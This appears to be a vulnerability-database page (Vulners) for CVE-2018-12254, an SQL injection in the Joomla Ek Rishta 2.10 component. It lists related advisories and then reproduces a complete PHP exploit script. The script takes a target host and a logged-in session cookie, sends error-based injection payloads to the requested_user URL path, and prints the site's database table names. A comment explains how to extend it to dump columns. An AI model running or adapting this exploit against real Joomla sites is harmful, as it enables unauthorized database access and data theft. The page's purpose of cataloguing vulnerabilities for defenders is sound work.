| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Joomla Ek rishta 2.10 Component - SQL Injection Vulnerability | 15 Jun 201800:00 | – | zdt | |
| Harmis Ek rishta SQL Injection Vulnerability in Joomla! | 14 Jun 201800:00 | – | cnvd | |
| Joomla Ek Rishta Component SQL Injection (CVE-2018-12254) | 25 Jun 201800:00 | – | checkpoint_advisories | |
| CVE-2018-12254 | 12 Jun 201817:00 | – | cve | |
| CVE-2018-12254 | 12 Jun 201817:00 | – | cvelist | |
| EUVD-2018-4232 | 7 Oct 202500:30 | – | euvd | |
| Joomla Component Ek Rishta 2.10 - SQL Injection | 14 Jun 201800:00 | – | exploitpack | |
| CVE-2018-12254 | 12 Jun 201817:29 | – | nvd | |
| CVE-2018-12254 | 12 Jun 201817:29 | – | osv | |
| Joomla Ek Rishta 2.10 SQL Injection | 14 Jun 201800:00 | – | packetstorm |
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Date: 2018-06-14
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254
# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en):
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:
<?php
// CVE-2018-12254
// after dump the tables, use %60%23table_name%60 to dump columns...
$host = $argv[1];
$cookie = $argv[2];
// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s = strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation